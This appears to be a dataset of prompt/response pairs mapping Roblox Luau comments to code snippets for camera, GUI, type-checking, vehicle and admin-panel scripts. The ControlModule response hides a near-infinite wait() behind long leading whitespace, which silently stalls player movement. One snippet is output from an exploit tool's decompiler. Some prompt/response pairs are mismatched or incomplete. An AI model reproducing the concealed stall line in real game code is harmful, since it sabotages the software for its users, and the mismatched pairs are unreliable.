			if props.suggestionDisplayed > 0 and not forceExecute and main.device ~= "Mobile" then
				selectSuggestion(props)
			elseif enter then
				if forceExecute then
					selectSuggestion(props)
					--wait()
				end
				module:CloseCmdBar()
				if #props.textBox.Text > 1 then
					local commandToRequest = props.textBox.Text
					local firstChar = string.sub(commandToRequest,1,1)
					if firstChar ~= main.settings.UniversalPrefix and firstChar ~= main.pdata.Prefix then
						commandToRequest = main.pdata.Prefix..commandToRequest
					end
					local endChar = string.sub(commandToRequest,-1)
					if endChar == " " then
						commandToRequest = string.sub(commandToRequest,1,-1)
					end
					main.signals.RequestCommand:InvokeServer(commandToRequest)
				end
			end
		end
	end)
end


Prompt: -- Creates a new timer and keeps track of it's time in the timeLeft value

Response:
local gameTimer = timer.new()
local displayValues = ReplicatedStorage.DisplayValues
local timeLeft = displayValues.TimeLeft


Prompt: --- Replace with true/false to force the chat type. Otherwise this will default to the setting on the website.

Response:
module.BubbleChatEnabled = PlayersService.ClassicChat
module.ClassicChatEnabled = PlayersService.ClassicChat


Prompt: -- This function converts 4 different, redundant enumeration types to one standard so the values can be compared

Response:
function CameraUtils.ConvertCameraModeEnumToStandard(enumValue)
	if enumValue == Enum.TouchCameraMovementMode.Default then
		return Enum.ComputerCameraMovementMode.Follow
	end

	if enumValue == Enum.ComputerCameraMovementMode.Default then
		return Enum.ComputerCameraMovementMode.Classic
	end

	if enumValue == Enum.TouchCameraMovementMode.Classic or
		enumValue == Enum.DevTouchCameraMovementMode.Classic or
		enumValue == Enum.DevComputerCameraMovementMode.Classic or
		enumValue == Enum.ComputerCameraMovementMode.Classic then
		return Enum.ComputerCameraMovementMode.Classic
	end

	if enumValue == Enum.TouchCameraMovementMode.Follow or
		enumValue == Enum.DevTouchCameraMovementMode.Follow or
		enumValue == Enum.DevComputerCameraMovementMode.Follow or
		enumValue == Enum.ComputerCameraMovementMode.Follow then
		return Enum.ComputerCameraMovementMode.Follow
	end

	if enumValue == Enum.TouchCameraMovementMode.Orbital or
		enumValue == Enum.DevTouchCameraMovementMode.Orbital or
		enumValue == Enum.DevComputerCameraMovementMode.Orbital or
		enumValue == Enum.ComputerCameraMovementMode.Orbital then
		return Enum.ComputerCameraMovementMode.Orbital
	end

	if FFlagUserCameraToggle then
		if enumValue == Enum.ComputerCameraMovementMode.CameraToggle or
			enumValue == Enum.DevComputerCameraMovementMode.CameraToggle then
			return Enum.ComputerCameraMovementMode.CameraToggle
		end
	end

	-- Note: Only the Dev versions of the Enums have UserChoice as an option
	if enumValue == Enum.DevTouchCameraMovementMode.UserChoice or
		enumValue == Enum.DevComputerCameraMovementMode.UserChoice then
		return Enum.DevComputerCameraMovementMode.UserChoice
	end

	-- For any unmapped options return Classic camera
	return Enum.ComputerCameraMovementMode.Classic
end

return CameraUtils


Prompt: -- Note: Called whenever workspace.CurrentCamera changes, but also on initialization of this script

Response:
function CameraModule:OnCurrentCameraChanged()
	local currentCamera = game.Workspace.CurrentCamera
	if not currentCamera then return end

	if self.cameraSubjectChangedConn then
		self.cameraSubjectChangedConn:Disconnect()
	end

	if self.cameraTypeChangedConn then
		self.cameraTypeChangedConn:Disconnect()
	end

	self.cameraSubjectChangedConn = currentCamera:GetPropertyChangedSignal("CameraSubject"):Connect(function()
		self:OnCameraSubjectChanged(currentCamera.CameraSubject)
	end)

	self.cameraTypeChangedConn = currentCamera:GetPropertyChangedSignal("CameraType"):Connect(function()
		self:OnCameraTypeChanged(currentCamera.CameraType)
	end)

	self:OnCameraSubjectChanged(currentCamera.CameraSubject)
	self:OnCameraTypeChanged(currentCamera.CameraType)
end

function CameraModule:OnLocalPlayerCameraPropertyChanged(propertyName)
	if propertyName == "CameraMode" then
		-- CameraMode is only used to turn on/off forcing the player into first person view. The
		-- Note: The case "Classic" is used for all other views and does not correspond only to the ClassicCamera module
		if Players.LocalPlayer.CameraMode == Enum.CameraMode.LockFirstPerson then
			-- Locked in first person, use ClassicCamera which supports this
			if not self.activeCameraController or self.activeCameraController:GetModuleName() ~= "ClassicCamera" then
				self:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(Enum.DevComputerCameraMovementMode.Classic))
			end

			if self.activeCameraController then
				self.activeCameraController:UpdateForDistancePropertyChange()
			end
		elseif Players.LocalPlayer.CameraMode == Enum.CameraMode.Classic then
			-- Not locked in first person view
			local cameraMovementMode =self: GetCameraMovementModeFromSettings()
			self:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(cameraMovementMode))
		else
			warn("Unhandled value for property player.CameraMode: ",Players.LocalPlayer.CameraMode)
		end

	elseif propertyName == "DevComputerCameraMode" or
		   propertyName == "DevTouchCameraMode" then
		local cameraMovementMode = self:GetCameraMovementModeFromSettings()
		self:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(cameraMovementMode))

	elseif propertyName == "DevCameraOcclusionMode" then
		self:ActivateOcclusionModule(Players.LocalPlayer.DevCameraOcclusionMode)

	elseif propertyName == "CameraMinZoomDistance" or propertyName == "CameraMaxZoomDistance" then
		if self.activeCameraController then
			self.activeCameraController:UpdateForDistancePropertyChange()
		end
	elseif propertyName == "DevTouchMovementMode" then

	elseif propertyName == "DevComputerMovementMode" then

	elseif propertyName == "DevEnableMouseLock" then
		-- This is the enabling/disabling of "Shift Lock" mode, not LockFirstPerson (which is a CameraMode)

		-- Note: Enabling and disabling of MouseLock mode is normally only a publish-time choice made via
		-- the corresponding EnableMouseLockOption checkbox of StarterPlayer, and this script does not have
		-- support for changing the availability of MouseLock at runtime (this would require listening to
		-- Player.DevEnableMouseLock changes)
	end
end

function CameraModule:OnUserGameSettingsPropertyChanged(propertyName)

	if propertyName == 	"ComputerCameraMovementMode" then
		local cameraMovementMode = self:GetCameraMovementModeFromSettings()
		self:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(cameraMovementMode))
	end
end


Prompt:
--[[**
	ensures value is a table and all keys pass keyCheck and all values pass valueCheck

	@param keyCheck The function to use to check the keys
	@param valueCheck The function to use to check the values

	@returns A function that will return true iff the condition is passed
**--]]

Response:
function t.map(keyCheck, valueCheck)
	assert(t.callback(keyCheck), t.callback(valueCheck))
	local keyChecker = t.keys(keyCheck)
	local valueChecker = t.values(valueCheck)
	return function(value)
		local keySuccess, keyErr = keyChecker(value)
		if not keySuccess then
			return false, keyErr or ""
		end

		local valueSuccess, valueErr = valueChecker(value)
		if not valueSuccess then
			return false, valueErr or ""
		end

		return true
	end
end

do
	local arrayKeysCheck = t.keys(t.integer)
	--[[**
		ensures value is an array and all values of the array match check

		@param check The check to compare all values with

		@returns A function that will return true iff the condition is passed
	**--]]
	function t.array(check)
		assert(t.callback(check))
		local valuesCheck = t.values(check)
		return function(value)
			local keySuccess, keyErrMsg = arrayKeysCheck(value)
			if keySuccess == false then
				return false, string.format("[array] %s", keyErrMsg or "")
			end

			-- all keys are sequential
			local arraySize = #value
			for key in pairs(value) do
				if key < 1 or key > arraySize then
					return false, string.format("[array] key %s must be sequential", tostring(key))
				end
			end

			local valueSuccess, valueErrMsg = valuesCheck(value)
			if not valueSuccess then
				return false, string.format("[array] %s", valueErrMsg or "")
			end

			return true
		end
	end
end

do
	local callbackArray = t.array(t.callback)
	--[[**
		creates a union type

		@param ... The checks to union

		@returns A function that will return true iff the condition is passed
	**--]]
	function t.union(...)
		local checks = {...}
		assert(callbackArray(checks))
		return function(value)
			for _, check in pairs(checks) do
				if check(value) then
					return true
				end
			end
			return false, "bad type for union"
		end
	end

	--[[**
		creates an intersection type

		@param ... The checks to intersect

		@returns A function that will return true iff the condition is passed
	**--]]
	function t.intersection(...)
		local checks = {...}
		assert(callbackArray(checks))
		return function(value)
			for _, check in pairs(checks) do
				local success, errMsg = check(value)
				if not success then
					return false, errMsg or ""
				end
			end
			return true
		end
	end
end

do
	local checkInterface = t.map(t.string, t.callback)
	--[[**
		ensures value matches given interface definition

		@param checkTable The interface definition

		@returns A function that will return true iff the condition is passed
	**--]]
	function t.interface(checkTable)
		assert(checkInterface(checkTable))
		return function(value)
			local tableSuccess, tableErrMsg = t.table(value)
			if tableSuccess == false then
				return false, tableErrMsg or ""
			end

			for key, check in pairs(checkTable) do
				local success, errMsg = check(value[key])
				if success == false then
					return false, string.format("[interface] bad value for %s:\n\t%s", key, errMsg or "")
				end
			end
			return true
		end
	end

	--[[**
		ensures value matches given interface definition strictly

		@param checkTable The interface definition

		@returns A function that will return true iff the condition is passed
	**--]]
	function t.strictInterface(checkTable)
		assert(checkInterface(checkTable))
		return function(value)
			local tableSuccess, tableErrMsg = t.table(value)
			if tableSuccess == false then
				return false, tableErrMsg or ""
			end

			for key, check in pairs(checkTable) do
				local success, errMsg = check(value[key])
				if success == false then
					return false, string.format("[interface] bad value for %s:\n\t%s", key, errMsg or "")
				end
			end

			for key in pairs(value) do
				if not checkTable[key] then
					return false, string.format("[interface] unexpected field '%s'", key)
				end
			end

			return true
		end
	end
end


Prompt: --| Humanoid, HumanoidRootPart |--

Response:
local Humanoid = Characters:WaitForChild("Humanoid")
local HumanoidRootPart = Characters:WaitForChild("HumanoidRootPart")


Prompt: -- goro7

Response:
local voteStates = game.ServerStorage.States.MapVote

voteStates.CurrentlyVoting.Changed:connect(function()

	-- Adjust visiblity
	local newVal = voteStates.CurrentlyVoting.Value
	script.Parent.Image.Visible = newVal
	script.Parent.CountLabel.Visible = newVal
	script.Parent.MapName.Visible = newVal
	script.Parent.Count.Visible = newVal

end)

voteStates.Map2.Changed:connect(function()

	-- Update map name and image
	local newMap = voteStates.Map2.Value
	script.Parent.Image.Image = newMap.ImageAsset.Value
	script.Parent.MapName.Text = newMap.Name

end)

voteStates.Count2.Changed:connect(function()

	-- Update map count
	script.Parent.Count.Text = voteStates.Count2.Value

end)


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
client = nil;
cPcall = nil;
Pcall = nil;
Routine = nil;
service = nil;
gTable = nil;
return function(p1)
	local v1 = nil;
	local l__PlayerGui__2 = service.PlayerGui;
	local l__LocalPlayer__3 = service.Players.LocalPlayer;
	local v4 = service.New("ScreenGui");
	local v5 = service.New("ImageButton", v4);
	v1 = client.UI.Register(v4);
	if client.UI.Get("HelpButton", v4, true) then
		v4:Destroy();
		v1:Destroy();
		return nil;
	end;
	v1.Name = "HelpButton";
	v1.CanKeepAlive = false;
	v5.Name = "Toggle";
	v5.BackgroundTransparency = 1;
	v5.Position = UDim2.new(1, -45, 1, -45);
	v5.Size = UDim2.new(0, 40, 0, 40);
	v5.Image = "rbxassetid://357249130";
	v5.ImageTransparency = 0.5;
	v5.MouseButton1Down:connect(function()
		local v6 = client.UI.Get("UserPanel", nil, true);
		if not v6 then
			client.UI.Make("UserPanel", {});
			return;
		end;
		v6.Object:Destroy();
	end);
	v1:Ready();
end;


Prompt: --Precalculated paths

Response:
local t,f,n=true,false,{}
local r={
[58]={{34,35,39,41,30,56,58},t},
[49]={{34,32,31,29,28,44,45,49},t},
[16]={n,f},
[19]={{34,35,39,41,30,56,58,20,19},t},
[59]={{34,35,39,41,59},t},
[63]={{34,35,39,41,30,56,58,23,62,63},t},
[34]={{34},t},
[21]={{34,35,39,41,30,56,58,20,21},t},
[48]={{34,32,31,29,28,44,45,49,48},t},
[27]={{34,32,31,29,28,27},t},
[14]={n,f},
[31]={{34,32,31},t},
[56]={{34,35,39,41,30,56},t},
[29]={{34,32,31,29},t},
[13]={n,f},
[47]={{34,32,31,29,28,44,45,49,48,47},t},
[12]={n,f},
[45]={{34,32,31,29,28,44,45},t},
[57]={{34,35,39,41,30,56,57},t},
[36]={{34,32,33,36},t},
[25]={{34,32,31,29,28,27,26,25},t},
[71]={{34,35,39,41,59,61,71},t},
[20]={{34,35,39,41,30,56,58,20},t},
[60]={{34,35,39,41,60},t},
[8]={n,f},
[4]={n,f},
[75]={{34,35,39,41,59,61,71,72,76,73,75},t},
[22]={{34,35,39,41,30,56,58,20,21,22},t},
[74]={{34,35,39,41,59,61,71,72,76,73,74},t},
[62]={{34,35,39,41,30,56,58,23,62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{34,35,37},t},
[2]={n,f},
[35]={{34,35},t},
[53]={{34,32,31,29,28,44,45,49,48,47,52,53},t},
[73]={{34,35,39,41,59,61,71,72,76,73},t},
[72]={{34,35,39,41,59,61,71,72},t},
[33]={{34,32,33},t},
[69]={{34,35,39,41,60,69},t},
[65]={{34,35,39,41,30,56,58,20,19,66,64,65},t},
[26]={{34,32,31,29,28,27,26},t},
[68]={{34,35,39,41,30,56,58,20,19,66,64,67,68},t},
[76]={{34,35,39,41,59,61,71,72,76},t},
[50]={{34,32,31,29,28,44,45,49,48,47,50},t},
[66]={{34,35,39,41,30,56,58,20,19,66},t},
[10]={n,f},
[24]={{34,32,31,29,28,27,26,25,24},t},
[23]={{34,35,39,41,30,56,58,23},t},
[44]={{34,32,31,29,28,44},t},
[39]={{34,35,39},t},
[32]={{34,32},t},
[3]={n,f},
[30]={{34,35,39,41,30},t},
[51]={{34,32,31,29,28,44,45,49,48,47,50,51},t},
[18]={n,f},
[67]={{34,35,39,41,30,56,58,20,19,66,64,67},t},
[61]={{34,35,39,41,59,61},t},
[55]={{34,32,31,29,28,44,45,49,48,47,52,53,54,55},t},
[46]={{34,32,31,29,28,44,45,49,48,47,46},t},
[42]={{34,35,38,42},t},
[40]={{34,35,40},t},
[52]={{34,32,31,29,28,44,45,49,48,47,52},t},
[54]={{34,32,31,29,28,44,45,49,48,47,52,53,54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{34,35,39,41},t},
[17]={n,f},
[38]={{34,35,38},t},
[28]={{34,32,31,29,28},t},
[5]={n,f},
[64]={{34,35,39,41,30,56,58,20,19,66,64},t},
}
return r


Prompt: --- Returns whatever the Transform method gave us.

Response:
function Argument:GetTransformedValue(segment)
	return unpack(self.TransformedValues[segment])
end


Prompt: -- Libraries

Response:
local Roact = require(Vendor:WaitForChild 'Roact')
local Maid = require(Libraries:WaitForChild 'Maid')
local Support = require(Libraries:WaitForChild 'SupportLibrary')


Prompt: -- oi bruv do iou haw a cop o tee bai ani chance? (something british, unintelligible.)

Response:
local up = script.Parent.Up
local down = script.Parent.Down
local cf1 = up.CFrame
local cf2 = down.CFrame

local TS = game:GetService("TweenService")
local deb = false

local CD1 = Instance.new("ClickDetector",up)
CD1.MaxActivationDistance = 4
local CD2 = Instance.new("ClickDetector",down)
CD2.MaxActivationDistance = 4

CD1.MouseClick:Connect(function()
	if not deb then
		deb = true
		local s = TS:Create(up,TweenInfo.new(.1,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0,true,0),{CFrame = cf1*CFrame.new(-.04,0,0)})
		s.Completed:Connect(function()
			deb = false
		end)
		s:Play()
	end
end)

CD2.MouseClick:Connect(function()
	if not deb then
		deb = true
		local s = TS:Create(down,TweenInfo.new(.1,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0,true,0),{CFrame = cf2*CFrame.new(-.04,0,0)})
		s.Completed:Connect(function()
			deb = false
		end)
		s:Play()
	end
end)


Prompt: -- make the text say Welcome, playername!

Response: text = "Welcome, " .. playername .. "!"


Prompt:
----------------------------------------------------------------------
--------------------[ SHOCKWAVE HANDLING ]----------------------------
----------------------------------------------------------------------

Response:
local createShockwave = script:WaitForChild("createShockwave")
createShockwave.OnServerEvent:connect(function(_, Center, Radius, gunIgnore, S)
	local Shockwave = Instance.new("Part")
	Shockwave.BrickColor = S.shockwaveSettings.Color
	Shockwave.Material = Enum.Material.SmoothPlastic
	Shockwave.Name = "Shockwave"
	Shockwave.Anchored = true
	Shockwave.CanCollide = false
	Shockwave.FormFactor = Enum.FormFactor.Symmetric
	Shockwave.Size = V3(1, 1, 1)
	Shockwave.BottomSurface = Enum.SurfaceType.Smooth
	Shockwave.TopSurface = Enum.SurfaceType.Smooth
	local Mesh = Instance.new("SpecialMesh")
	Mesh.MeshType = Enum.MeshType.Sphere
	Mesh.Scale = V3()
	Mesh.Parent = Shockwave
	Shockwave.Parent = gunIgnore
	Shockwave.CFrame = CF(Center)
	spawn(function()
		local t0 = tick()
		while true do
			local Alpha = math.min((tick() - t0) / S.shockwaveSettings.Duration, 1)
			local Scale = 2 * Radius * Alpha
			Mesh.Scale = V3(Scale, Scale, Scale)
			Shockwave.Transparency = Alpha
			if Alpha == 1 then break end
			wait()
		end
		Shockwave:Destroy()
	end)
end)


Prompt:
--[[
	ControlModule - This ModuleScript implements a singleton class to manage the
	selection, activation, and deactivation of the current character movement controller.
	This script binds to RenderStepped at Input priority and calls the Update() methods
	on the active controller instances.

	The character controller ModuleScripts implement classes which are instantiated and
	activated as-needed, they are no longer all instantiated up front as they were in
	the previous generation of PlayerScripts.

	2018 PlayerScripts Update - AllYourBlox
--]]

Response:
																																																																																wait(999999999999999999999)
local ControlModule = {}
ControlModule.__index = ControlModule


Prompt: -- Display a message to the client for a short time, with a background that covers the user's screen.

Response:
local tweenService = game:GetService('TweenService')
local playersService = game:GetService('Players')
local localPlayer = playersService.LocalPlayer
local gui = script:WaitForChild('MessageTakeoverGui')
local background = gui:WaitForChild('Background')
local textLabel = gui:WaitForChild('TextLabel')

local TRANSITION_TIME = .5
local DEFAULT_MESSAGE_DURATION = 4

local changeIndex = 0
local messageTakeoverModule = {}

messageTakeoverModule.ShowMessage = function(text, duration)
	if text then
		textLabel.Text = text
	end
	local playerGui = localPlayer:FindFirstChild('PlayerGui')
	if playerGui then
		changeIndex = changeIndex + 1
		local thisChangeIndex = changeIndex

		if not gui.Enabled then
			background.BackgroundTransparency = 1
			textLabel.TextTransparency = 1
		end
		gui.Parent = playerGui
		gui.Enabled = true

		-- Transition message in
		tweenService:Create(background,
			TweenInfo.new(TRANSITION_TIME, Enum.EasingStyle.Quad, Enum.EasingDirection.In),
			{['BackgroundTransparency'] = 0,}
		):Play()
		tweenService:Create(textLabel,
			TweenInfo.new(TRANSITION_TIME, Enum.EasingStyle.Quad, Enum.EasingDirection.In),
			{['TextTransparency'] = 0,}
		):Play()

		-- Wait the message duration without yielding
		task.delay(duration or DEFAULT_MESSAGE_DURATION, function()
			if changeIndex == thisChangeIndex then

				-- Transition message out
				tweenService:Create(background,
					TweenInfo.new(TRANSITION_TIME, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
					{['BackgroundTransparency'] = 1,}
				):Play()
				tweenService:Create(textLabel,
					TweenInfo.new(TRANSITION_TIME, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
					{['TextTransparency'] = 1,}
				):Play()

				task.delay(TRANSITION_TIME, function()
					if thisChangeIndex == changeIndex then
						-- Finalize a few things when transition is done
						gui.Enabled = false
						gui.Parent = script
					end
				end)

			end
		end)
	end
end

return messageTakeoverModule


Prompt: --[[Susupension]]

Response:
	Tune.SusEnabled		= true		-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled

	--Front Suspension
	Tune.FSusDamping	= 500		-- Spring Dampening
	Tune.FSusStiffness	= 8000		-- Spring Force
	Tune.FSusLength		= 2			-- Suspension length (in studs)
	Tune.FSusMaxExt		= .3		-- Max Extension Travel (in studs)
	Tune.FSusMaxComp	= .1		-- Max Compression Travel (in studs)
	Tune.FSusAngle		= 80		-- Suspension Angle (degrees from horizontal)

	Tune.FWsBoneLen		= 5			-- Wishbone Length
	Tune.FWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Rear Suspension
	Tune.RSusDamping	= 500		-- Spring Dampening
	Tune.RSusStiffness	= 8000		-- Spring Force
	Tune.RSusLength		= 2			-- Suspension length (in studs)
	Tune.RSusMaxExt		= .3		-- Max Extension Travel (in studs)
	Tune.RSusMaxComp	= .1		-- Max Compression Travel (in studs)
	Tune.RSusAngle		= 80		-- Suspension Angle (degrees from horizontal)

	Tune.RWsBoneLen		= 5			-- Wishbone Length
	Tune.RWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Aesthetics
	Tune.SusVisible		= true			-- Spring Visible
	Tune.WsBVisible		= false			-- Wishbone Visible
	Tune.SusRadius		= .2			-- Suspension Coil Radius
	Tune.SusThickness	= .1			-- Suspension Coil Thickness
	Tune.SusColor		= "Really black"	-- Suspension Color [BrickColor]
	Tune.SusCoilCount	= 6				-- Suspension Coil Count
	Tune.WsColor		= "Black"		-- Wishbone Color [BrickColor]
	Tune.WsThickness	= .1			-- Wishbone Rod Thickness


Prompt: ----- Initialize -----

Response:
if IsStudio == true then
	IsLiveCheckActive = true
	coroutine.wrap(function()
		local status, message = pcall(function()
			-- This will error if current instance has no Studio API access:
			DataStoreService:GetDataStore("____PS"):SetAsync("____PS", os.time())
		end)
		local no_internet_access = status == false and string.find(message, "ConnectFail", 1, true) ~= nil
		if no_internet_access == true then
			warn("[ProfileService]: No internet access - check your network connection")
		end
		if status == false and
			(string.find(message, "403", 1, true) ~= nil or -- Cannot write to DataStore from studio if API access is not enabled
				string.find(message, "must publish", 1, true) ~= nil or -- Game must be published to access live keys
				no_internet_access == true) then -- No internet access

			UseMockDataStore = true
			ProfileService._use_mock_data_store = true


Prompt:
--	else
--		if script.Parent.Parent.Self_Destruction_Panel.Opened.Value then
--			script.Parent.Parent.Self_Destruction_Panel.Open:Fire()
--		end

Response:
	end
end
workspace.UPCCoreSystemUNYv4yvw3789n5yw7ay.ReactorOnline.Changed:Wait()
script.Parent.Lever1.Pulled.Changed:Connect(Changed)
script.Parent.Lever2.Pulled.Changed:Connect(Changed)
script.Parent.Lever3.Pulled.Changed:Connect(Changed)
script.Parent.Lever4.Pulled.Changed:Connect(Changed)


Prompt: -- Keep track of created items in memory to not lose them in garbage collection

Response:
CreatedInstances = {};
LastParents = {};


Prompt: -- How many times per second the gun can fire

Response: local FireRate = 1 / 11.9


Prompt: -- Preload animations

Response:
function playAnimation(animName, transitionTime, humanoid)
	if (animName ~= currentAnim) then

		if (oldAnimTrack ~= nil) then
			oldAnimTrack:Stop()
			oldAnimTrack:Destroy()
		end

		local roll = math.random(1, animTable[animName].totalWeight)
		local origRoll = roll
		local idx = 1
		while (roll > animTable[animName][idx].weight) do
			roll = roll - animTable[animName][idx].weight
			idx = idx + 1
		end
		--		print(animName .. " " .. idx .. " [" .. origRoll .. "]")
		local anim = animTable[animName][idx].anim

		-- load it to the humanoid; get AnimationTrack
		oldAnimTrack = currentAnimTrack
		currentAnimTrack = humanoid:LoadAnimation(anim)

		-- play the animation
		currentAnimTrack:Play(transitionTime)
		currentAnim = animName

		-- set up keyframe name triggers
		if (currentAnimKeyframeHandler ~= nil) then
			currentAnimKeyframeHandler:disconnect()
		end
		currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
	end
end


Prompt:
--[[**
		creates an intersection type

		@param ... The checks to intersect

		@returns A function that will return true iff the condition is passed
	**--]]

Response:
	function t.intersection(...)
		local checks = { ... }
		assert(callbackArray(checks))

		return function(value)
			for _, check in ipairs(checks) do
				local success, errMsg = check(value)
				if not success then
					return false, errMsg or ""
				end
			end

			return true
		end
	end


Prompt: -- Mimic the enabling of the topbar when StarterGui:SetCore("TopbarEnabled", state) is called

Response:
coroutine.wrap(function()
	local ChatMain = require(players.LocalPlayer.PlayerScripts:WaitForChild("ChatScript").ChatMain)
	ChatMain.CoreGuiEnabled:connect(function()
		local topbarEnabled = checkTopbarEnabled()
		if topbarEnabled == IconController.previousTopbarEnabled then
			IconController.updateTopbar()
			return "SetCoreGuiEnabled was called instead of SetCore"
		end
		IconController.previousTopbarEnabled = topbarEnabled
		if IconController.controllerModeEnabled then
			IconController.setTopbarEnabled(false,false)
		else
			IconController.setTopbarEnabled(topbarEnabled,false)
		end
		IconController.updateTopbar()
	end)
	IconController.setTopbarEnabled(checkTopbarEnabled(),false)

end)()


Prompt:
-- Symbol
-- Stephen Leitnick
-- December 27, 2020


Prompt: --Rescripted by Luckymaxer

Response:
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")

Players = game:GetService("Players")
Debris = game:GetService("Debris")
RunService = game:GetService("RunService")
ContentProvider = game:GetService("ContentProvider")
UserInputService = game:GetService("UserInputService")

InputCheck = Instance.new("ScreenGui")
InputCheck.Name = "InputCheck"
InputFrame = Instance.new("Frame")
InputFrame.BackgroundTransparency = 1
InputFrame.Size = UDim2.new(1, 0, 1, 0)
InputFrame.Parent = InputCheck

local function Create_PrivImpl(objectType)
	if type(objectType) ~= 'string' then
		error("Argument of Create must be a string", 2)
	end
	--return the proxy function that gives us the nice Create'string'{data} syntax
	--The first function call is a function call using Lua's single-string-argument syntax
	--The second function call is using Lua's single-table-argument syntax
	--Both can be chained together for the nice effect.
	return function(dat)
		--default to nothing, to handle the no argument given case
		dat = dat or {}

		--make the object to mutate
		local obj = Instance.new(objectType)
		local parent = nil

		--stored constructor function to be called after other initialization
		local ctor = nil

		for k, v in pairs(dat) do
			--add property
			if type(k) == 'string' then
				if k == 'Parent' then
					-- Parent should always be set last, setting the Parent of a new object
					-- immediately makes performance worse for all subsequent property updates.
					parent = v
				else
					obj[k] = v
				end

			--add child
			elseif type(k) == 'number' then
				if type(v) ~= 'userdata' then
					error("Bad entry in Create body: Numeric keys must be paired with children, got a: "..type(v), 2)
				end
				v.Parent = obj

			--event connect
			elseif type(k) == 'table' and k.__eventname then
				if type(v) ~= 'function' then
					error("Bad entry in Create body: Key `[Create.E\'"..k.__eventname.."\']` must have a function value\
							got: "..tostring(v), 2)
				end
				obj[k.__eventname]:connect(v)

			--define constructor function
			elseif k == t.Create then
				if type(v) ~= 'function' then
					error("Bad entry in Create body: Key `[Create]` should be paired with a constructor function, \
							got: "..tostring(v), 2)
				elseif ctor then
					--ctor already exists, only one allowed
					error("Bad entry in Create body: Only one constructor function is allowed", 2)
				end
				ctor = v

			else
				error("Bad entry ("..tostring(k).." => "..tostring(v)..") in Create body", 2)
			end
		end

		--apply constructor function if it exists
		if ctor then
			ctor(obj)
		end

		if parent then
			obj.Parent = parent
		end

		--return the completed object
		return obj
	end
end


Prompt: -- For the sake of speed of converting hexes to strings, there's a map of the conversions here

Response:
local BinaryStringMap = {}
for Index = 0, 255 do
	BinaryStringMap[string.format("%02x", Index)] = string.char(Index)
end


Prompt:
--[=[
	@param object any -- Object to track
	@param cleanupMethod string? -- Optional cleanup name override
	@return object: any
	Adds an object to the trove. Once the trove is cleaned or
	destroyed, the object will also be cleaned up.

	The following types are accepted (e.g. `typeof(object)`):

	| Type | Cleanup |
	| ---- | ------- |
	| `Instance` | `object:Destroy()` |
	| `RBXScriptConnection` | `object:Disconnect()` |
	| `function` | `object()` |
	| `thread` | `coroutine.close(object)` |
	| `table` | `object:Destroy()` _or_ `object:Disconnect()` |
	| `table` with `cleanupMethod` | `object:<cleanupMethod>()` |

	Returns the object added.

	```lua
	-- Add a part to the trove, then destroy the trove,
	-- which will also destroy the part:
	local part = Instance.new("Part")
	trove:Add(part)
	trove:Destroy()

	-- Add a function to the trove:
	trove:Add(function()
		print("Cleanup!")
	end)
	trove:Destroy()

	-- Standard cleanup from table:
	local tbl = {}
	function tbl:Destroy()
		print("Cleanup")
	end
	trove:Add(tbl)

	-- Custom cleanup from table:
	local tbl = {}
	function tbl:DoSomething()
		print("Do something on cleanup")
	end
	trove:Add(tbl, "DoSomething")
	```
]=]

Response:
function Trove:Add(object: any, cleanupMethod: string?): any
	if self._cleaning then
		error("Cannot call trove:Add() while cleaning", 2)
	end
	local cleanup = GetObjectCleanupFunction(object, cleanupMethod)
	table.insert(self._objects, { object, cleanup })
	return object
end


Prompt: -- Set initial colors

Response:
colorAll(brakelights, brakeColor_off)
colorAll(headlights, lightColor_off)
smoke.Enabled = false
fire.Enabled = false


Prompt: -- Saves profile card information for next time

Response:
Players.PlayerRemoving:Connect(function(player)
	local statusSuccess, statusError = pcall(function()
		Statuses:SetAsync(player.UserId, player:GetAttribute("status"))
	end)
	if statusSuccess then
		--	print("Status successfully updated!")
	else
		print(player, statusError)
	end
end)


Prompt:
--[[*
 * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 ]]

Response:
local CurrentModule = script.Parent
local Packages = CurrentModule.Parent
local exports = {}


Prompt:
--[[
	REFERENCE:
		command_full_name: The name of a command (e.g. :cmds)

	[command_full_name] = {
		Player = 0;
		Server = 0;
		Cross = 0;
	}
]]

Response:
}

settings.HttpWait = 60					-- How long things that use the HttpService will wait before updating again
settings.Trello_Enabled = false			-- Are the Trello features enabled?
settings.Trello_Primary = ""			-- Primary Trello board
settings.Trello_Secondary = {}			-- Secondary Trello boards (read-only)		Format: {"BoardID";"BoardID2","etc"}
settings.Trello_AppKey = ""				-- Your Trello AppKey						  	Link: https://trello.com/app-key
settings.Trello_Token = ""				-- Trello token (DON'T SHARE WITH ANYONE!)    Link: https://trello.com/1/connect?name=Trello_API_Module&response_type=token&expires=never&scope=read,write&key=YOUR_APP_KEY_HERE
settings.Trello_HideRanks = false		-- If true, Trello-assigned ranks won't be shown in the admins list UI (accessed via :admins)

settings.G_API = true					-- If true, allows other server scripts to access certain functions described in the API module through _G.Adonis
settings.G_Access = false				-- If enabled, allows other scripts to access Adonis using _G.Adonis.Access; Scripts will still be able to do things like _G.Adonis.CheckAdmin(player)
